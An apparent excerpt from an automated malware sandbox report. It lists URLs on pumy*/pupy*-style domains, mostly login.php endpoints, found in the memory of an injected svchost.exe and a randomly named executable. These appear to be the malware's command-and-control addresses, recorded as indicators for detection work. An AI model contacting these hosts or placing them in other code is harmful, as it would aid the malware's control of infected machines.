    Source: svchost.exe, 00000001.00000003.2898652067.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2161825875.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898558140.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2174605514.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2898847083.0000000004CF7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2180770258.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900620371.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901757590.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154566378.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900619492.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2143778963.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902620348.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2190135620.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2178940663.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2188550735.0000000008A0C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pumycug.com/login.php
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2135796758.0000000002F7B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2151803375.0000000002F99000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2147298188.0000000002F94000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2137072725.0000000002F7F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pumydoq.com/
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A06000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pumydoq.com/H
    Source: svchost.exe, 00000001.00000003.1903825905.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901395813.0000000008ADD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898558140.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1891061151.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900620371.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901757590.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900619492.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2143778963.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898443082.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898558140.0000000008ADD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pumydoq.com/login.php
    Source: svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pumygyp.com/
    Source: svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2119052914.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1882364910.0000000008A2E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pumygyp.com/login.php
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1924478972.0000000008A3C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2183678981.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2177110574.0000000008B05000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pumyjev.com/login.php
    Source: svchost.exe, 00000001.00000003.1843276757.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1843534286.0000000002FB9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1854943514.0000000008A20000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2863298111.0000000002FA0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2085425211.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1843563132.0000000002FBB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2092799019.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1854650597.0000000008A21000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2861550125.0000000002FA0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2861625572.0000000002FA0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1847917919.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1844516038.000000000089C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pumylel.com/login.php
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2176331339.0000000002F97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2175191610.0000000002F97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2173654266.0000000002F97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2172895145.0000000002F97000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pumymap.com/
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1933696547.0000000002F54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1947510326.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2183449994.0000000002FBB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pumymap.com/login.php
    Source: svchost.exe, 00000001.00000003.2111617403.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1695333905.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1981174664.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1982247626.0000000008B06000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149761878.0000000008B0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2146336174.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2122956933.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2788287399.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2092799019.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149333396.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2019933898.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2341054199.0000000008FE9000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2336765148.0000000008BA0000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2313579209.0000000000D40000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2336765148.0000000008B64000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000006.00000002.2281883733.0000000000A26000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2331052540.0000000008719000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2342243421.000000000A4ED000.00000004.00000010.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2298247060.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000015.00000002.2148572373.0000000008BF0000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000015.00000002.2108655193.0000000000D71000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pumypog.com/login.php
    Source: svchost.exe, 00000001.00000003.1958857886.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1958569924.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2264180640.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959780405.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959522129.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960930667.0000000002F0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1965579567.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960929560.0000000008AFE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258260984.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960318072.0000000008AFE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pumypop.com/login.php
    Source: svchost.exe, 00000001.00000003.2176300458.0000000008B9F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2158139409.0000000002F99000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2168978685.0000000008B9F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2156817392.0000000002F92000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2161988616.0000000008BA8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pumypyv.com/
    Source: svchost.exe, 00000001.00000003.2176300458.0000000008B9F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2168978685.0000000008B9F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2161988616.0000000008BA8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pumypyv.com/H
    Source: svchost.exe, 00000001.00000003.1788596948.0000000008A44000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779722435.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2804793756.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1780489713.0000000008B07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1833647424.0000000002F03000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779096011.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779501399.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1781013100.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779124243.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779650272.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2812953933.0000000008A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2019933898.0000000008B05000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pumytup.com/login.php
    Source: svchost.exe, 00000001.00000003.1968630518.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968327079.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2282417105.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2267072964.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2278879701.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2291331219.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2292428208.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2287989020.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1967423631.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2279226567.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2290690746.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2788287399.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968394988.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2267073793.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968883679.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pumytyq.com/login.php
    Source: svchost.exe, 00000001.00000003.2176300458.0000000008B9F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2168978685.0000000008B9F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pumywug.com/H
    Source: svchost.exe, 00000001.00000003.2789208581.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1695333905.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1687658381.0000000008A32000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2788563099.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2856090650.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1687565535.0000000008A2D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2770707489.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1687570808.0000000008A2F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2880372058.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2805839197.0000000008B07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1978182310.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2778000948.0000000008B07000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2341054199.0000000008FE9000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000006.00000002.2320960777.00000000087AB000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2331052540.0000000008719000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2298247060.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2331052540.00000000086FC000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2305795738.00000000033AD000.00000004.00000010.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000015.00000002.2148572373.0000000008C69000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000015.00000002.2155078247.0000000008F50000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://pumyxiv.com/login.php
    Source: svchost.exe, 00000001.00000003.1958857886.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1958569924.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2264180640.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959780405.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959522129.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960011672.000000000089F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959786912.000000000089D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1962439893.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960929560.0000000008AFE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258260984.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1965539116.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960318072.0000000008AFE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pumyxul.com/login.php
    Source: svchost.exe, 00000001.00000003.1958857886.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1958569924.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2264180640.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959780405.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959522129.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2261960277.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2280547985.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1962439893.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960929560.0000000008AFE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2263454454.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258260984.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1963059685.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1965539116.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258260984.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960318072.0000000008AFE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pupybyg.com/login.php
    Source: svchost.exe, 00000001.00000003.1968630518.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1967423631.0000000008A1E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pupycop.com/
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2163632600.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1914445852.0000000008B0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1910077004.000000000089D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1909044342.0000000008A3C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1908514523.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2915487629.0000000008AAD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2907916838.0000000002FBA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pupycuv.com/login.php
    Source: svchost.exe, 00000001.00000003.1788596948.0000000008A44000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779722435.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1788441092.0000000002F0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1785275422.0000000008B0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1788503221.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779096011.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779501399.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779124243.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779650272.0000000008A47000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pupydeq.com/login.php
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2161825875.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2174605514.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2180770258.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154566378.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2143778963.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902620348.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2190135620.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2178940663.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2188550735.0000000008A0C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pupygel.com/login.php
    Source: svchost.exe, 00000001.00000003.2119051522.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2129829149.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128042608.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2113424628.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2119052914.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875834987.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2889863215.00000000008A2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pupyjuv.com/login.php
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2174605514.0000000008A09000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pupylug.com/login.php
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pupymyp.com/
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898558140.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2139976927.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900620371.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901757590.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900619492.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902620348.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903904408.0000000008A1B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pupymyp.com/login.php
    Source: svchost.exe, 00000001.00000003.1843276757.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2111617403.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1843534286.0000000002FB9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1854943514.0000000008A20000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870478184.0000000008A20000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2856090650.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2085425211.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149761878.0000000008B0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1843563132.0000000002FBB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2864162691.0000000008A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870383629.0000000008A20000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2146336174.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1838364731.0000000008A20000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2122956933.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1839816326.0000000008A21000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2092799019.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1854650597.0000000008A21000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1856209919.0000000002F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1841035752.0000000008A21000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149333396.0000000008B05000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pupypiv.com/login.php
    Source: svchost.exe, 00000001.00000003.2119051522.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901395813.0000000008ADD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2129829149.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128042608.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1880310454.0000000008ADD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2113424628.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1878161986.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2119052914.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2889863215.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898558140.0000000008ADD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pupywog.com/login.php
